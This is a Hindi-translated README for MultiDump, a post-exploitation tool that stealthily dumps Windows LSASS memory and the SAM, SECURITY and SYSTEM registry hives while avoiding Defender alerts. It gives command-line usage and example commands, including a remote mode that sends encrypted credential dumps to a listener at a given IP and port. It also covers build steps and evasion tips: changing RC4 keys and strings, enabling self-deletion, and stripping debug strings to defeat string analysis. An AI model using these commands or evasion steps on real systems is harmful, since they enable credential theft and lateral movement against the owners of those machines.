
MultiDump एक पोस्ट-शोषण उपकरण है जो LSASS मेमोरी को गुप्त रूप से डंप और निकालने के लिए है।
MultiDump एक पोस्ट-एक्सप्लॉइटेशन टूल है जो C में लिखा गया है और LSASS मेमोरी को गुप्त रूप से डंप और निकालने के लिए, बिना Defender अलर्ट ट्रिगर किए, Python में लिखे गए हैंडलर के साथ।

ब्लॉग पोस्ट: https://xreous.io/posts/multidump
MultiDump LSASS डंप को ProcDump.exe या comsvc.dll के माध्यम से समर्थन करता है, यह दो मोड प्रदान करता है: एक स्थानीय मोड जो डंप फ़ाइल को स्थानीय रूप से एन्क्रिप्ट और संग्रहीत करता है, और एक रिमोट मोड जो डंप को डिक्रिप्शन और विश्लेषण के लिए हैंडलर को भेजता है।
__ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable verbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for MultiDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
सभी LSASS संबंधित टूल्स की तरह, Administrator/SeDebugPrivilege विशेषाधिकार आवश्यक हैं।
हैंडलर LSASS डंप को पार्स करने के लिए Pypykatz पर निर्भर करता है, और रजिस्ट्री सेव को पार्स करने के लिए impacket पर निर्भर करता है। इन्हें आपके वातावरण में स्थापित किया जाना चाहिए। यदि आप All detection methods failed त्रुटि देखते हैं, तो संभवतः Pypykatz संस्करण पुराना है।
डिफ़ॉल्ट रूप से, MultiDump Comsvc.dll विधि का उपयोग करता है और एन्क्रिप्टेड डंप को वर्तमान निर्देशिका में सहेजता है।
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./MultiDumpHandler.py -l dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
यदि --procdump का उपयोग किया जाता है, तो LSASS डंप करने के लिए ProcDump.exe को डिस्क पर लिखा जाएगा।
cmd में, --procdump का उपयोग करना होगा, अन्यथा यह #5 के अनुसार विफल हो जाएगा, यदि संभव हो तो हमेशा powershell का उपयोग करने की सलाह दी जाती है।
रिमोट मोड में, MultiDump हैंडलर के लिसनर से कनेक्ट होता है।
./MultiDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
कुंजी हैंडलर के IP और पोर्ट के साथ एन्क्रिप्ट की जाती है। जब MultiDump प्रॉक्सी के माध्यम से कनेक्ट होता है, तो हैंडलर को रिमोट मोड में कुंजी निर्माण के लिए IP पते को मैन्युअल रूप से निर्दिष्ट करने के लिए --override-ip विकल्प का उपयोग करना चाहिए, जिससे डिक्रिप्शन IP को MultiDump -r में निर्धारित अपेक्षित IP से मिलान करके डिक्रिप्शन सही ढंग से काम करे।
SAM, SECURITY और SYSTEM hives को डंप करने का एक अतिरिक्त विकल्प --reg के साथ उपलब्ध है, डिक्रिप्शन प्रक्रिया LSASS डंप के समान है। यह पोस्ट-एक्सप्लॉइट जानकारी एकत्र करना आसान बनाने के लिए एक सुविधा सुविधा है।
Visual Studio में खोलें, Release मोड में बनाएँ।
संकलन से पहले बाइनरी को अनुकूलित करने की अनुशंसा की जाती है, जैसे स्टैटिक स्ट्रिंग्स या उन्हें एन्क्रिप्ट करने के लिए उपयोग की जाने वाली RC4 कुंजी को बदलना। ऐसा करने के लिए, एक और Visual Studio प्रोजेक्ट EncryptionHelper शामिल है। बस कुंजी या स्ट्रिंग्स बदलें और संकलित EncryptionHelper.exe के आउटपुट को MultiDump.c और Common.h में पेस्ट किया जा सकता है।
स्व-विलोपन को Common.h में निम्नलिखित पंक्ति को अनकमेंट करके टॉगल किया जा सकता है:
#define SELF_DELETION
स्ट्रिंग विश्लेषण से बचने के लिए, Debug.h में निम्नलिखित पंक्ति को कमेंट करके अधिकांश आउटपुट संदेशों को संकलन से बाहर किया जा सकता है:
//#define DEBUG
MultiDump Windows 10 22H2 (19045) पर (किसी तरह) डिटेक्ट हो सकता है, और मैंने इसके लिए (किसी तरह) एक फिक्स लागू किया है, जांच और कार्यान्वयन अपने आप में एक ब्लॉग पोस्ट का हकदार है: https://xre0us.io/posts/saving-lsass-from-defender/